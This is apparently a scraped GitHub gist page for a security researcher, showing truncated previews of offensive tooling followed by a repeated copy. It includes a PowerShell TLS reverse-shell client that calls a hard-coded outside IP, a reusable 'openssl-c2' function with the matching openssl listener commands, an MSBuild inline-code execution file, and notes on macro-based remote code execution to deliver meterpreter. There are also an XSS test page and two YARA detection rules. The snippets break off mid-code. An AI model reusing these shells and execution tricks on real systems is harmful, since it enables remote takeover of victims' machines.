Carrie Roberts clr2of8

## test1.txt
test

## index1.html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>Hello World!</title>
</head>
<body>
Hello World!
  <script>alert(1)</script>
</body>

## testcc.js
var webSocketDebuggerUrl;
var port = 9666;
var request = new XMLHttpRequest();
request.open("GET", "http://localhost:" + port + "/json");
request.responseType = 'json';
request.send();
request.onload = function() {
 webSocketDebuggerUrl = request.response[0].webSocketDebuggerUrl;
 console.log(webSocketDebuggerUrl);


## c2_client_to_openssl_server.ps1
$socket = New-Object Net.Sockets.TcpClient('206.189.70.79', 9876)
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fake.domain', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);

## c2_openssl_server.txt
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 9876

## Various-Macro-Based-RCEs.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                clr2of8
                / Various-Macro-Based-RCEs.md
            
            
              Created
              March 14, 2019 14:59
                — forked from mgeeky/Various-Macro-Based-RCEs.md
            
              
                Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine.
              
          
    This is a note for myself describing various Visual Basic macros construction strategies that could be used for remote code execution via malicious Document vector.
Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload.
All of the below examples had been generated for using as a remote address: 192.168.56.101.
List:

Page substiution macro for luring user to click Enable Content
The Unicorn Powershell based payload


## rtf_with_multiple_embedded_docs
rule rtf_with_multiple_embedded_docs
{
     meta:
          description = "RTF file with multiple embedded macro-enabled documents"
          weight  = 90
          author = "Walmart Information Security"
          date = "2019-03-14"

     strings:
          // Headers of files to look for

## rtf_with_embedded_macro_enabled_office_document
rule rtf_with_embedded_macro_enabled_office_document
{
     meta:
          description = "RTF file with multiple embedded macro-enabled documents"
          weight  = 90
          author = "Walmart Information Security"
          date = "2019-03-14"

     strings:
          // Headers of files to look for

## pshell.xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->
   <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask

## openssl-c2.ps1
function openssl-c2 ($ip,$port,$domain="fake.domain") {
$socket = New-Object Net.Sockets.TcpClient($ip, $port)
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient($domain, $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
	<!DOCTYPE html>
	<html lang="en">
	<head>
	<meta charset="utf-8">
	<title>Hello World!</title>
	</head>
	<body>
	Hello World!
	<script>alert(1)</script>
	</body>
	var webSocketDebuggerUrl;
	var port = 9666;
	var request = new XMLHttpRequest();
	request.open("GET", "http://localhost:" + port + "/json");
	request.responseType = 'json';
	request.send();
	request.onload = function() {
	webSocketDebuggerUrl = request.response[0].webSocketDebuggerUrl;
	console.log(webSocketDebuggerUrl);
	$socket = New-Object Net.Sockets.TcpClient('206.189.70.79', 9876)
	$stream = $socket.GetStream()
	$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
	$sslStream.AuthenticateAsClient('fake.domain', $null, "Tls12", $false)
	$writer = new-object System.IO.StreamWriter($sslStream)
	$writer.Write('PS ' + (pwd).Path + '> ')
	$writer.flush()
	[byte[]]$bytes = 0..65535\|%{0};
	while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
	{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
	openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
	openssl s_server -quiet -key key.pem -cert cert.pem -port 9876
	rule rtf_with_multiple_embedded_docs
	{
	meta:
	description = "RTF file with multiple embedded macro-enabled documents"
	weight = 90
	author = "Walmart Information Security"
	date = "2019-03-14"

	strings:
	// Headers of files to look for
	rule rtf_with_embedded_macro_enabled_office_document
	{
	meta:
	description = "RTF file with multiple embedded macro-enabled documents"
	weight = 90
	author = "Walmart Information Security"
	date = "2019-03-14"

	strings:
	// Headers of files to look for
	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->
	<!-- Author: Casey Smith, Twitter: @subTee -->
	<!-- License: BSD 3-Clause -->
	<Target Name="Hello">
	<FragmentExample />
	<ClassExample />
	</Target>
	<UsingTask
	function openssl-c2 ($ip,$port,$domain="fake.domain") {
	$socket = New-Object Net.Sockets.TcpClient($ip, $port)
	$stream = $socket.GetStream()
	$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
	$sslStream.AuthenticateAsClient($domain, $null, "Tls12", $false)
	$writer = new-object System.IO.StreamWriter($sslStream)
	$writer.Write('PS ' + (pwd).Path + '> ')
	$writer.flush()
	[byte[]]$bytes = 0..65535\|%{0};
	while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)